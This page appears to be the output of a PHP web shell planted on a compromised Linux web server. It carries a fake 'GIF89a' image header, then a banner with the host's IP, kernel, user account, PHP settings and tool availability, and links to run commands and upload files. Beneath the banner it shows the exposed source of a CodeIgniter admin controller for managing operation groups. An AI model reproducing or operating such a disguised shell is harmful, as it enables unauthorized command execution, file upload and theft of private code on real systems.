GIF89a;
Server IP : 172.26.0.195 / Your IP : 18.188.101.251 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../jnclnmu/../cas/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Controller Class For Location Management (State/City) * * @author Softpro India Pvt. Ltd. */ defined('BASEPATH') OR exit('No direct script access allowed'); class OperationGroup extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model("admin/MenuManagement"); } public function index() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $viewData['allOperationGroups'] = $this->MenuManagement->getAllOperationGroups()->result(); $this->load->view('admin/operationGroups', $viewData); } else { redirect("admin/"); } } public function createOperationGroup() { if ($this->sessionvalidator->isLoggedIn()) { $this->load->view('admin/createOperationGroup'); } else { redirect("admin/"); } } public function saveNewOperationGroup() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('ogName', 'Operation Group Name', 'trim|required', array('required' => 'Operation Group Name Can Not Be Blank.')); $this->form_validation->set_rules('ogTooltip', 'Operation Grou Tooltip', 'trim|required', array('required' => 'Operation Group Tooltip Can Not Be Blank.')); $this->form_validation->set_rules('ogTitle', 'Operation Grou Title', 'trim|required', array('required' => 'Operation Group Title Can Not Be Blank.')); $this->form_validation->set_rules('ogIconClass', 'Operation Group Icon Class Name', 'trim|required', array('required' => 'Operation Group Icon Class Name Can Not Be Blank.')); $queryByOperationGroupName = $this->MenuManagement->getOperationGroupByName(trim($this->input->post('ogName'))); $operationGroupInfoByName = $queryByOperationGroupName->result(); if ($this->form_validation->run() == FALSE) { $this->createOperationGroup(); } else if (sizeof($operationGroupInfoByName)) { $this->session->set_flashdata('errorMessage', "An Operation Group With This Name Already Exits. Please choose A Different Name."); $this->createOperationGroup(); } else { $newOperationGroupInfo = array( 'group_name' => addslashes(trim($this->input->post('ogName'))), 'group_title' => addslashes(trim($this->input->post('ogTitle'))), 'group_tooltip' => addslashes(trim($this->input->post('ogTooltip'))), 'group_icon' => trim($this->input->post('ogIconClass')), 'group_slug_url' => (trim($this->input->post('ogSlug')) == "") ? NULL : $this->input->post('ogSlug'), 'group_added_on' => date("Y-m-d H:i:s"), 'group_added_by' => $this->session->userdata("adminData")["smember_id"], 'group_updated_on' => date("Y-m-d H:i:s"), 'group_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->MenuManagement->createNewOperationGroup($newOperationGroupInfo)) { $this->session->set_flashdata('successMessage', 'Operation Group Created Successfully.'); redirect("admin/OperationGroup"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Operation Group. Try Later.'); redirect("admin/OperationGroup"); } } } else { redirect("admin/"); } } public function editOperationGroup($group_id) { if ($this->sessionvalidator->isLoggedIn()) { $viewData['operationGroupInfo'] = $this->MenuManagement->getOperationGroupInfoBy($group_id)->result()[0]; $this->load->view('admin/editOperationGroup', $viewData); } else { redirect("admin/"); } } public function updateOperationGroup() { $group_id = $this->input->post('ogId'); if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('ogName', 'Operation Group Name', 'trim|required', array('required' => 'Operation Group Name Can Not Be Blank.')); $this->form_validation->set_rules('ogTooltip', 'Operation Grou Tooltip', 'trim|required', array('required' => 'Operation Group Tooltip Can Not Be Blank.')); $this->form_validation->set_rules('ogTitle', 'Operation Grou Title', 'trim|required', array('required' => 'Operation Group Title Can Not Be Blank.')); $this->form_validation->set_rules('ogIconClass', 'Operation Group Icon Class Name', 'trim|required', array('required' => 'Operation Group Icon Class Name Can Not Be Blank.')); if ($this->form_validation->run() == FALSE) { $this->editOperationGroup($group_id); } else if (!$this->MenuManagement->isOperationGroupNameSafeUpdate($group_id, trim($this->input->post('ogName')))) { $this->session->set_flashdata('errorMessage', "An Operation Group With This Name Already Exits. Please choose A Different Name."); $this->editOperationGroup($group_id); } else { $operationGroupInfo = array( 'group_id' => $group_id, 'group_name' => addslashes(trim($this->input->post('ogName'))), 'group_title' => addslashes(trim($this->input->post('ogTitle'))), 'group_tooltip' => addslashes(trim($this->input->post('ogTooltip'))), 'group_icon' => trim($this->input->post('ogIconClass')), 'group_slug_url' => (trim($this->input->post('ogSlug')) == "") ? NULL : $this->input->post('ogSlug'), 'group_updated_on' => date("Y-m-d H:i:s"), 'group_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->MenuManagement->updateOperationGroupInfo($operationGroupInfo)) { $this->session->set_flashdata('successMessage', 'Operation Group Updated Successfully.'); redirect("admin/OperationGroup"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Operation Group. Try Later.'); redirect("admin/OperationGroup"); } } } else { redirect("admin/"); } } public function toggleOperationGroupStatus($group_id, $toUpdateStatus) { if ($this->sessionvalidator->isLoggedIn()) { $operationGroupUpdateData = array( 'group_id' => $group_id, 'group_updated_on' => date("Y-m-d H:i:s"), 'group_updated_by' => $this->session->userdata("adminData")["smember_id"], 'group_active_status' => $toUpdateStatus ); if ($this->MenuManagement->updateOperationGroupInfo($operationGroupUpdateData)) { $this->session->set_flashdata('successMessage', 'Operation Group Status Updated Successfully.'); redirect("admin/OperationGroup"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Operation Group Status. Try Later.'); redirect("admin/OperationGroup"); } } else { redirect("admin/"); } } public function deleteOperationGroup($group_id) { if ($this->sessionvalidator->isLoggedIn()) { $operationGroupUpdateData = array( 'group_id' => $group_id, 'group_updated_on' => date("Y-m-d H:i:s"), 'group_updated_by' => $this->session->userdata("adminData")["smember_id"], 'group_delete_status' => 'T' ); if ($this->MenuManagement->updateOperationGroupInfo($operationGroupUpdateData)) { $this->session->set_flashdata('successMessage', 'Operation Group Deleted Successfully.'); redirect("admin/OperationGroup"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Operation Group. Try Later.'); redirect("admin/OperationGroup"); } } else { redirect("admin/"); } } public function undoDeleteOperationGroup($group_id) { if ($this->sessionvalidator->isLoggedIn()) { $operationGroupUpdateData = array( 'group_id' => $group_id, 'group_updated_on' => date("Y-m-d H:i:s"), 'group_updated_by' => $this->session->userdata("adminData")["smember_id"], 'group_delete_status' => 'F' ); if ($this->MenuManagement->updateOperationGroupInfo($operationGroupUpdateData)) { $this->session->set_flashdata('successMessage', 'Operation Group Recovered Successfully.'); redirect("admin/OperationGroup"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Operation Group. Try Later.'); redirect("admin/OperationGroup"); } } else { redirect("admin/"); } } }